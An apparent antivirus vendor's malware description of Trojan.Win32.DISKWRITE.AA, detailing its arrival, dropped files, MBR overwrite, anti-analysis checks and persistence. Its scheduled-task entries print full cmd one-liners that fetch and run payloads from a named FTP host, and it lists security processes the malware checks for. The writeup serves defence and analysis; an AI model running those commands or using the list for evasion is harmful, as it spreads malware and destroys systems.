Trojan.Win32.DISKWRITE.AA

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded by other malware/grayware from remote sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded by the following malware/grayware from remote sites:

• Trojan.Win32.MIRAI.MJY

Installation

This Trojan drops the following files:

• %User Temp%\02.dat
• %User Temp%\01.dat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://mbr{BLOCKED}.ru/upsnew.exe ← detected as TROJ_DARKCLOUD.THHBDAH
• http://mbr.{BLOCKED}.ru/TestMsg.tmp
• http://mbr.{BLOCKED}.ru/TestMsg64.tmp

Other Details

This Trojan does the following:

• It checks if the injected code is patched and force a blue screen error if it finds the code being patched.
• It overwrites the first sector (512 bytes) of the MBR.
• It is capable of downloading a backdoor module which can execute the following backdoor commands:
  • Delete a specific service
  • Delete a specific registry
  • Download and execute a malicious file
  • Download a malicious code and inject to a specific process
• It checks the presence of the following debugger:
  • OLLYDBG
• It checks the presence of the following antivirus and security applications:
  • avp.exe
  • zhudongfangyu.exe
  • 360tray.exe
  • superkiller.exe
  • 360sd.exe
  • 360rps.exe
  • QQPCRTP.exe
  • systemaidbox.exe
  • avgnt.exe
  • avengine.exe
  • msmpeng.exe
  • nissrv.exe
  • msseces.exe
  • ccSvcHst.exe
  • ekrn.exe
  • egui.exe
  • nod32krn.exe
  • avgrsa.exe
  • avgui.exe
  • avscan.exe
  • v3svc.exe
  • v3medic.exe
  • Rtvscan.exe
  • avastsvc.exe
  • bdagent.exe
  • mcshield.exe
  • mcsvhost.exe
  • mfefire.exe
  • mfemms.exe
  • safedogguardcenter.exe
  • wdswfsafe.exe
  • KSafeTray.exe
  • dwengine.exe
  • dwarkdaemon.exe
  • vssery.exe
  • liveupdate360.exe
  • qqpctray.exe
  • Mcshield.exe
  • bdagent.exe
  • smsvchost.exe
  • avastui.exe
  • ksafe.exe
  • inst.exe
  • v3main.exe
  • instup.exe
  • v3main.exe

It adds the following scheduled tasks:

• Task Name: ok
  • Trigger: Every System Startup
  • Actions: %Windows%\debug\ok.dat,ServiceMain aaaa
• Task Name: Mysa1
  • Trigger: Every System Startup
  • Actions: %Windows%\debug\item.dat,ServiceMain aaaa
• Task Name: Mysa3
  • Trigger: Every System Startup
  • Actions: /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar %Windows%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%Windows%\help\lsmosee.exe
• Task Name: Mysa2
  • Trigger: Every System Startup
  • Actions: /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat %Windows%\debug\item.dat>>p&echo bye>>p&ftp -s:p
• Task Name: Mysa
  • Trigger: Every System Startup
  • Actions: /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe %Windows%\update.exe>>s&echo bye>>s&ftp -s:s&%Windows%\update.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)